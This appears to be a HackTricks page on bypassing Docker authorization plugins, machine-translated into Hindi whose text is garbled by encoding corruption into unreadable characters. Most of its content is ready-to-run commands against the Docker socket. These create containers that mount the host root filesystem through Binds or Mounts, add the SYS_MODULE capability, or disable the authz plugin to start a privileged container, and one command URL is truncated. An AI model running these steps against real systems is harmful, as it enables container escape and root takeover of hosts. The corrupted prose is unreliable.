рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЙрджрд╛рд╣рд░рдг рдореЗрдВ, рдЗрд╕ рдЧрд▓рдд рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рдХрдВрдЯреЗрдирд░ рдмрдирд╛рдирд╛ рдФрд░ рдЪрд▓рд╛рдирд╛ рд╕рдВрднрд╡ рд╣реИ рдЬреЛ рд╣реЛрд╕реНрдЯ рдХреЗ рд░реВрдЯ (/) рдлрд╝реЛрд▓реНрдбрд░ рдХреЛ рдорд╛рдЙрдВрдЯ рдХрд░рддрд╛ рд╣реИ:

bash
docker version #First, find the API version of docker, 1.40 in this example docker images #List the images available #Then, a container that mounts the root folder of the host curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "Binds":["/:/host"]}' http:/v1.40/containers/create docker start f6932bc153ad #Start the created privileged container docker exec -it f6932bc153ad chroot /host bash #Get a shell inside of it #You can access the host filesystem

warning

рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЗрд╕ рдЙрджрд╛рд╣рд░рдг рдореЗрдВ рд╣рдо Binds рдкреИрд░рд╛рдореАрдЯрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ JSON рдореЗрдВ рдПрдХ рд░реВрдЯ рд╕реНрддрд░ рдХреА рдХреБрдВрдЬреА рдХреЗ рд░реВрдк рдореЗрдВ рдХрд░ рд░рд╣реЗ рд╣реИрдВ рд▓реЗрдХрд┐рди API рдореЗрдВ рдпрд╣ HostConfig рдХреБрдВрдЬреА рдХреЗ рддрд╣рдд рджрд┐рдЦрд╛рдИ рджреЗрддрд╛ рд╣реИред

HostConfig рдореЗрдВ Binds

Binds in root рдХреЗ рд╕рд╛рде рд╡рд╣реА рдирд┐рд░реНрджреЗрд╢ рдХрд╛ рдкрд╛рд▓рди рдХрд░реЗрдВ рдФрд░ рдЗрд╕ request рдХреЛ Docker API рдкрд░ рдХрд░реЗрдВ:

bash
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "HostConfig":{"Binds":["/:/host"]}}' http:/v1.40/containers/create

Mounts in root

Binds in root рдХреЗ рд╕рд╛рде рд╡рд╣реА рдирд┐рд░реНрджреЗрд╢реЛрдВ рдХрд╛ рдкрд╛рд▓рди рдХрд░реЗрдВ, рдЗрд╕ request рдХреЛ Docker API рдкрд░ рдХрд░реЗрдВ:

bash
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu-sleep", "Mounts": [{"Name": "fac36212380535", "Source": "/", "Destination": "/host", "Driver": "local", "Mode": "rw,Z", "RW": true, "Propagation": "", "Type": "bind", "Target": "/host"}]}' http:/v1.40/containers/create

Mounts in HostConfig

рд░реВрдЯ рдореЗрдВ рдмрд╛рдЗрдВрдбреНрд╕ рдХреЗ рд╕рд╛рде рд╡рд╣реА рдирд┐рд░реНрджреЗрд╢реЛрдВ рдХрд╛ рдкрд╛рд▓рди рдХрд░рддреЗ рд╣реБрдП рдЗрд╕ рдЕрдиреБрд░реЛрдз рдХреЛ Docker API рдкрд░ рдХрд░реЗрдВ:

bash
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu-sleep", "HostConfig":{"Mounts": [{"Name": "fac36212380535", "Source": "/", "Destination": "/host", "Driver": "local", "Mode": "rw,Z", "RW": true, "Propagation": "", "Type": "bind", "Target": "/host"}]}}' http:/v1.40/containers/cre

Unchecked JSON Attribute

рдпрд╣ рд╕рдВрднрд╡ рд╣реИ рдХрд┐ рдЬрдм рд╕рд┐рд╕реНрдЯрдо рдкреНрд░рд╢рд╛рд╕рдХ рдиреЗ рдбреЙрдХрд░ рдлрд╝рд╛рдпрд░рд╡реЙрд▓ рдХреЛ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдпрд╛, рддреЛ рдЙрд╕рдиреЗ API рдХреЗ рдПрдХ рдкреИрд░рд╛рдореАрдЯрд░ рдХреЗ рдХреБрдЫ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдЧреБрдг рдХреЛ рднреВрд▓ рдЧрдпрд╛ рдЬреИрд╕реЗ "Capabilities" "HostConfig" рдХреЗ рдЕрдВрджрд░ред рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЙрджрд╛рд╣рд░рдг рдореЗрдВ, рдЗрд╕ рдЧрд▓рдд рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ SYS_MODULE рдХреНрд╖рдорддрд╛ рдХреЗ рд╕рд╛рде рдПрдХ рдХрдВрдЯреЗрдирд░ рдмрдирд╛рдиреЗ рдФрд░ рдЪрд▓рд╛рдиреЗ рдХреА рд╕рдВрднрд╛рд╡рдирд╛ рд╣реИ:

bash
docker version curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "HostConfig":{"Capabilities":["CAP_SYS_MODULE"]}}' http:/v1.40/containers/create docker start c52a77629a9112450f3dedd1ad94ded17db61244c4249bdfbd6bb3d581f470fa docker ps docker exec -it c52a77629a91 bash capsh --print #You can abuse the SYS_MODULE capability

note

The HostConfig рд╡рд╣ рдХреБрдВрдЬреА рд╣реИ рдЬреЛ рдЖрдорддреМрд░ рдкрд░ рджрд┐рд▓рдЪрд╕реНрдк рдЕрдзрд┐рдХрд╛рд░ рд░рдЦрддреА рд╣реИ рдЬрд┐рд╕рд╕реЗ рдХрдВрдЯреЗрдирд░ рд╕реЗ рдмрд╛рд╣рд░ рдирд┐рдХрд▓рдирд╛ рд╕рдВрднрд╡ рд╣реЛрддрд╛ рд╣реИред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдЬреИрд╕рд╛ рдХрд┐ рд╣рдордиреЗ рдкрд╣рд▓реЗ рдЪрд░реНрдЪрд╛ рдХреА рд╣реИ, рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЗрд╕рдХреЗ рдмрд╛рд╣рд░ Binds рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рднреА рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ рдФрд░ рдЖрдкрдХреЛ рдкреНрд░рддрд┐рдмрдВрдзреЛрдВ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗ рд╕рдХрддрд╛ рд╣реИред

Plugin рдХреЛ рдирд┐рд╖реНрдХреНрд░рд┐рдп рдХрд░рдирд╛

рдпрджрд┐ sysadmin рдиреЗ plugin рдХреЛ рдирд┐рд╖реНрдХреНрд░рд┐рдп рдХрд░рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рдХреЛ рд░реЛрдХрдиреЗ рдХреЗ рд▓рд┐рдП рднреВрд▓ рдХрд┐рдпрд╛ рд╣реИ, рддреЛ рдЖрдк рдЗрд╕рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдХрд░ рдЗрд╕реЗ рдкреВрд░реА рддрд░рд╣ рд╕реЗ рдирд┐рд╖реНрдХреНрд░рд┐рдп рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ!

bash
docker plugin list #Enumerate plugins # If you donтАЩt have access to enumerate the plugins you can see the name of the plugin in the error output: docker: Error response from daemon: authorization denied by plugin authobot:latest: use of Privileged containers is not allowed. # "authbolt" is the name of the previous plugin docker plugin disable authobot docker run --rm -it --privileged -v /:/host ubuntu bash docker plugin enable authobot

рдпрд╛рдж рд░рдЦреЗрдВ рдХрд┐ рдЙрдиреНрдирдпрди рдХреЗ рдмрд╛рдж рдкреНрд▓рдЧрдЗрди рдХреЛ рдлрд┐рд░ рд╕реЗ рд╕рдХреНрд╖рдо рдХрд░реЗрдВ, рдЕрдиреНрдпрдерд╛ рдбреЙрдХрд░ рд╕реЗрд╡рд╛ рдХрд╛ рдкреБрдирд░рд╛рд░рдВрдн рдХрд╛рдо рдирд╣реАрдВ рдХрд░реЗрдЧрд╛!

рдСрде рдкреНрд▓рдЧрдЗрди рдмрд╛рдпрдкрд╛рд╕ рд▓реЗрдЦ

tip

AWS рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ:HackTricks Training AWS Red Team Expert (ARTE)
GCP рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks рдХрд╛ рд╕рдорд░реНрдерди рдХрд░реЗрдВ